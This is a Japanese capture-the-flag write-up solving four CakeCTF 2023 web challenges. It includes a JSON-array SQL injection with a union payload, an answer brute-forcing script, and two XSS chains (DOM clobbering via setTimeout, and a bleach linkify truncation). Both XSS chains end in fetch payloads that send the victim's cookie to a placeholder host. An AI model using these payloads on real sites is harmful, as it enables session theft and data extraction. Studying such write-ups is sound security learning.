CakeCTF 2023
Country DB (web,warmup: 68pt / 246Solves)
Do you know which country code 'CA' and 'KE' are for?
Search country codes here!
Country codeで検索できるWebアプリっぽい。
試しに JP
と入れて Search を押してみると「Japan」と表示された。
init_db.py
より、flagはデータベース内のflagというテーブル内にあることがわかる。おそらくSQL injectionで攻めるのだろう。
conn = sqlite3.connect("database.db") conn.execute("""CREATE TABLE country ( code TEXT NOT NULL, name TEXT NOT NULL );""") conn.execute("""CREATE TABLE flag ( flag TEXT NOT NULL );""") conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
アプリのソースコードを見てみると、検索に自明なSQLiがあった。
def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0]
ただ、search時に code
の長さをチェックされている。
@app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code") code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code") name = db_search(code) if name is None: flask.abort(404, "No such country") return {'name': name}
code
が JP
などのように2文字でないときに「Invalid country code」として強制終了するようになっている。
これだとSQLiは難しいように思えるが、パラメータをjsonとして受け取っているため配列を渡してあげることで code
の長さを 2 にすることができる。
{ "code": [ "", "" ] }
あとは任意の文字を入れれるので、実行されるSQLのsyntaxが崩れないようにクォートや括弧を入れてあげればunionで行ける。
{ "code": [ "') union select flag from flag;--", "a" ] }
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
TOWFL (web,cheat: 79pt / 171Solves)
Do you speak the language of wolves?
Prove your skill here!
試験を受けれるサイト。
「Start Exam」を押すと全く読めないテストが始まる。
ソースを読むと100点をとるとflagが得れることが判明。
1ページ10問が10ページで合計で100問あり、まともにやるのは厳しそう。
@app.route("/api/score", methods=['GET']) def api_score(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Calculate score challs = json.loads(db().get(flask.session['eid'])) score = 0 for chall in challs: for result in chall['results']: if result is True: score += 1 # Is he/she worth giving the flag? if score == 100: flag = os.getenv("FLAG") else: flag = "Get perfect score for flag" # Prevent reply attack flask.session.clear() return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
試験開始時にランダムに問題を生成し、セッションの eid
をキーにしてユーザ毎の問題を保持していることがわかる。
@app.route("/api/start", methods=['POST']) def api_start(): if 'eid' in flask.session: eid = flask.session['eid'] else: eid = flask.session['eid'] = os.urandom(32).hex() # Create new challenge set db().set(eid, json.dumps([new_challenge() for _ in range(10)])) return {'status': 'ok'} ... def new_challenge(): """Create new questions for a passage""" p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))]) qs, ans, res = [], [], [] for _ in range(10): q = lorem.sentence().replace(".", "?") op = [lorem.sentence() for _ in range(4)] qs.append({'question': q, 'options': op}) ans.append(random.randrange(0, 4)) res.append(False) return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}
ページを切り替えた時のリクエストは /api/question/2
のようになっており、セッションの eid
をもとにページに対応した問題を返す。
@app.route("/api/question/<int:qid>", methods=['GET']) def api_get_question(qid: int): if qid <= 0 or qid > 10: return {'status': 'error', 'reason': 'Invalid parameter.'} elif 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Send challenge information without answers chall = json.loads(db().get(flask.session['eid']))[qid-1] del chall['answers'] del chall['results'] return {'status': 'ok', 'data': chall}
最後に、採点はセッションの eid
とPOSTされた answers
をもとに数えた点数を results
に保存していく。
@app.route("/api/submit", methods=['POST']) def api_submit(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} try: answers = flask.request.get_json() except: return {'status': 'error', 'reason': 'Invalid request.'} # Get answers eid = flask.session['eid'] challs = json.loads(db().get(eid)) if not isinstance(answers, list) \ or len(answers) != len(challs): return {'status': 'error', 'reason': 'Invalid request.'} # Check answers for i in range(len(answers)): if not isinstance(answers[i], list) \ or len(answers[i]) != len(challs[i]['answers']): return {'status': 'error', 'reason': 'Invalid request.'} for j in range(len(answers[i])): challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j] # Store information with results db().set(eid, json.dumps(challs)) return {'status': 'ok'}
ここまで読んで、採点時に eid
のリセット等が行われていないことに気付く。
同じセッションで /api/submit
を何回でも送信可能であり、送信するたびに最新のもので results
が更新されていくので、最大でも400回POSTすれば100点の回答が特定できる。
手動ではやりたくないので自動化。
import time import requests answers = [[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None],[None,None,None,None,None,None,None,None,None,None]] score = 0 cookie = {"session": "{your session}"} for i in range(len(answers)): for j in range(len(answers[i])): for k in range(0,4): time.sleep(0.2) answers[i][j] = k requests.post("http://towfl.2023.cakectf.com:8888/api/submit", json=answers, cookies=cookie) res = requests.get("http://towfl.2023.cakectf.com:8888/api/score", cookies=cookie) resscore = res.json()["data"]["score"] if score != resscore: print(answers) score = resscore break print(answers)
実行してしばらく待てば100点が取れる。
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}
AdBlog (web: 151pt / 39Solves)
Post your article anonymously here!
* Please report us if you find any sensitive/harmful posts.
Blog系。XSS Challengeかな。
送信すると以下。キュートな広告が入る。
保存時は入力値そのまま保存で、表示時にbase64エンコードしてレンダリングする。
@app.route('/', methods=['GET', 'POST']) def index(): if flask.request.method == 'GET': return flask.render_template("index.html") blog_id = os.urandom(32).hex() title = flask.request.form.get('title', 'untitled') content = flask.request.form.get('content', '<i>empty post</i>') if len(title) > 128 or len(content) > 1024*1024: return flask.render_template("index.html", msg="Too long title or content.") db().set(blog_id, json.dumps({'title': title, 'content': content})) return flask.redirect(f"/blog/{blog_id}") @app.route('/blog/<blog_id>') def blog(blog_id): if not re.match("^[0-9a-f]{64}$", blog_id): return flask.redirect("/") blog = db().get(blog_id) if blog is None: return flask.redirect("/") blog = json.loads(blog) title = blog['title'] content = base64.b64encode(blog['content'].encode()).decode() return flask.render_template("blog.html", title=title, content=content)
blog.html
を読むと、AdBlocker系を検知して「オフにしてくれ」ってやつを実装しているっぽい。
<div id="ad-overlay" class="overlay"> <div class="overlay-content"> <h3>AdBlock Detected</h3> <p> The revenue earned from advertising enables us to provide the quality content you're trying to reach on this blog. In order to view the post, we request that you disable adblock in plugin settings. </p> <button onclick="location.reload();">I have disabld AdBlock</button> </div> </div> ... <div id="ad" style="display: none;"> <div style="margin: 0 auto;text-align:center;overflow:hidden;border-radius:0px;-webkit-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);-moz-box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);box-shadow: 16px 17px 18px -7px rgba(18,1,18,0.61);background:#fff2d2;border:1px solid #000000;padding:1px;max-width:calc(100% - 16px);width:640px"> <div class="imgAnim927" style="display: inline-block;position:relative;vertical-align: middle;padding:8px"> <img src="https://2023.cakectf.com/neko.png" style="max-width:100%;width:60px"/> </div> <div class="titleAnim927" style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:32px;color:#241f31;font-weight:bold">CakeCTF 2023</div> <div style="display:inline-block;text-shadow:#9a9996 4px 4px 4px;position:relative;vertical-align: middle;padding:8px;font-size:20px;color:#241f31;font-weight:normal">is taking place!</div> <div class="btnAnim927" style="display:inline-block;position:relative;vertical-align: middle;padding:16px" > <a target="_blank" href="https://2023.cakectf.com/"><input type="button" value="Play Now" style="margin:0px;background:#f5c211;padding:4px;border:2px solid #c01c28;color:#c01c28;border-radius:0px;cursor:pointer;width:80px" /></a></div> </div> </div> ... <script> let content = DOMPurify.sanitize(atob("{{ content }}")); document.getElementById("content").innerHTML = content; window.onload = async () => { if (await detectAdBlock()) { showOverlay = () => { document.getElementById("ad-overlay").style.width = "100%"; }; } if (typeof showOverlay === 'undefined') { document.getElementById("ad").style.display = "block"; } else { setTimeout(showOverlay, 1000); } } </script>
入力値は DOMPurify.sanitize
に通されるので自明なXSSは厳しそう。
「DOM-based XSSかな~」とJSに着目してみると気がかりな書き方が。
if (typeof showOverlay === 'undefined') { document.getElementById("ad").style.display = "block"; } else { setTimeout(showOverlay, 1000); }
showOverlay
は detectAdBlock()
の結果が true だったら function が代入されるわけだが、クローラー読んだ感じは AdBlock は関係ない。
代入されなかったときは undefined
になるので広告が出るわけだが、HTML内にidがshowOverlay
である要素があるときにバグる。
ブログ内容を以下のようにして保存すると、Uncaught SyntaxError: Unexpected identifier 'HTMLDivElement'
というエラーが発生する。
<div id="showOverlay ">test</div>
mdn web docsからsetTimeoutを調べると、code
を渡したときに eval
のような動作をするらしい。
showOverlay
がelementな時、文字に変換しようとして toString
が呼ばれて [object HTMLDivElement]
になったんだろうなと想像がつくので、toString
時に特殊な動作をする a
タグで試してみるとエラーの内容が変化した。
Uncaught SyntaxError: Unexpected end of input
HTMLAreaElement に toString
をするとURL全体が返るので、http://...
のような文字列でSyntaxErrorが起きたっぽい。もうちょっとでいけそう・・・!
使えるプロトコルは http
, https
だけじゃないので、mailto
を試してみるといい感じに alert
をポップできた。
<a id="showOverlay" href="mailto:alert(1)">test</a>
後はURLをいい感じに組み立ててCookieを盗む。
<a id="url" href="{url}?"> <a href='mailto:fetch(url+document.cookie)' id="showOverlay">test</a>
これで保存したIDをadminに提出すればCookieが手に入る。
CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}
OpenBio2 (web: 200pt / 21Solves)
Share your Bio here!
* Please report us if you find any sensitive/harmful bio.
Name, Email, Bit 1, Bio 2 を設定できる。二つに分かれてるのがいかにも怪しい。
@app.route('/', methods=['GET', 'POST']) def index(): if flask.request.method == 'GET': return flask.render_template("index.html") err = None bio_id = os.urandom(32).hex() name = flask.request.form.get('name', 'Anonymous') email = flask.request.form.get('email', '') bio1 = flask.request.form.get('bio1', '') bio2 = flask.request.form.get('bio2', '') if len(name) > 20: err = "Name is too long" elif len(email) > 40: err = "Email is too long" elif len(bio1) > 1001 or len(bio2) > 1001: err = "Bio is too long" if err: return flask.render_template("index.html", err=err) db().set(bio_id, json.dumps({ 'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2 })) return flask.redirect(f"/bio/{bio_id}")
bio は 1001 文字まで入力可能。
@app.route('/bio/<bio_id>') def bio(bio_id): if not re.match("^[0-9a-f]{64}$", bio_id): return flask.redirect("/") bio = db().get(bio_id) if bio is None: return flask.redirect("/") bio = json.loads(bio) name = bio['name'] email = bio['email'] bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000] bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000] return flask.render_template("bio.html", name=name, email=email, bio1=bio1, bio2=bio2)
表示時は bio の内容を bleach.clean
して bleach.linkify
したものの前10000文字をとる。
bleach.linkify
を調べてみると、引数内のリンクっぽい文字列を a
タグでリンクに変換する。
linkify
の動作を追ってみると、
bleach/linkifier.py
にURLのパースがある。
TLDS = """ac ad ae aero af ag ai al am an ao aq ar arpa as asia at au aw ax az ba bb bd be bf bg bh bi biz bj bm bn bo br bs bt bv bw by bz ca cat cc cd cf cg ch ci ck cl cm cn co com coop cr cu cv cx cy cz de dj dk dm do dz ec edu ee eg er es et eu fi fj fk fm fo fr ga gb gd ge gf gg gh gi gl gm gn gov gp gq gr gs gt gu gw gy hk hm hn hr ht hu id ie il im in info int io iq ir is it je jm jo jobs jp ke kg kh ki km kn kp kr kw ky kz la lb lc li lk lr ls lt lu lv ly ma mc md me mg mh mil mk ml mm mn mo mobi mp mq mr ms mt mu museum mv mw mx my mz na name nc ne net nf ng ni nl no np nr nu nz om org pa pe pf pg ph pk pl pm pn post pr pro ps pt pw py qa re ro rs ru rw sa sb sc sd se sg sh si sj sk sl sm sn so sr ss st su sv sx sy sz tc td tel tf tg th tj tk tl tm tn to tp tr travel tt tv tw tz ua ug uk us uy uz va vc ve vg vi vn vu wf ws xn xxx ye yt yu za zm zw""".split() ... return re.compile( r"""\(* # Match any opening parentheses. \b(?<![@.])(?:(?:{0}):/{{0,3}}(?:(?:\w+:)?\w+@)?)? # http:// ([\w-]+\.)+(?:{1})(?:\:[0-9]+)?(?!\.\w)\b # xx.yy.tld(:##)? (?:[/?][^\s\{{\}}\|\\\^`<>"]*)? # /path/zz (excluding "unsafe" chars from RFC 3986, # except for # and ~, which happen in practice) """.format( "|".join(sorted(protocols)), "|".join(sorted(tlds)) ), re.IGNORECASE | re.VERBOSE | re.UNICODE, )
試してみると、4文字の入力で45文字になる。
>>> import bleach >>> bleach.linkify("a.co") '<a href="http://a.co" rel="nofollow">a.co</a>'
これらを利用して1000文字の入力で10000文字のbioを生成できれば、中途半端な部分で切り取られていい感じにXSSできそう。
ただリンクをa.co a.co
のようにスペース区切りだと9200文字くらいにしかならないので「どうしようかな~」とガチャガチャ試していたら&
が&
になることが判明。
bleach.linkify("a.co&a.co&")
で100文字になるので、これを繰り返して10000文字以上のbioを生成できる。
>>> len(bleach.linkify("a.co a.co ")) 92 >>> len(bleach.linkify("a.co&a.co&")) 100
そしたらタグの微妙なところが10000文字目で切り捨てられるようにいい感じに調整して、最終的な入力は以下。
bio 1
<<a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co&a.co
bio 2
img src=x onerror="fetch('{url}?'+document.cookie)"
これで保存したIDをadminに提出すればCookieが手に入る。
CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}